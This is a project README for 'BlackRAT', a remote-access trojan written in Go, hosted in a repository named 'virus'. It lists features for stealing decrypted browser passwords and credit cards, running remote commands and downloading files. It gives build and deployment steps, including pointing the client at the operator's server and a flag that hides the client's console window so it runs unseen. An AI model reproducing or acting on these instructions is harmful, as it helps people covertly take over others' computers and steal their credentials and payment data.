This is a program that allows us to remotely control a client that connects to the application. There are also several other features, such as retrieving passwords from browsers, browsing directories, and executing commands in the command prompt.
I wrote this project for fun and basic learning of the Golang language. During this time, I mainly learned about the syntax of the language itself and how to establish server -> client connections. Since I don't have much experience, I relied on popular tools like ChatGPT and GitHub Copilot.
Before you start, you need to have Golang installed (from the website Golang).
- Clone this repo
git clone https://github.com/fenix544/virus.git
- Open
server
folder and configureconfig.json
- Then run script
build.bat
to build server module. - Finally, run this program using
run.bat
script.
- Open
client
folder and fileclient.go
. - Then go to 39 line and replace
HOST = "localhost"
with your address andPORT = 2137
- Run
build.bat
script and wait. (If you would like to remove console after start client, you need to add-ldflags -H=windowsgui
inbuild.bat
script afterbuild
keyword) - Finally, run
client.exe
to start client.
- Downloading files,
- Downloading decrypted passwords, credit cards etc. from browsers,
- Browsing files,
- Colorful logging,
- Reconnecting client when it loses connection
BlackRAT is licensed under the MIT License.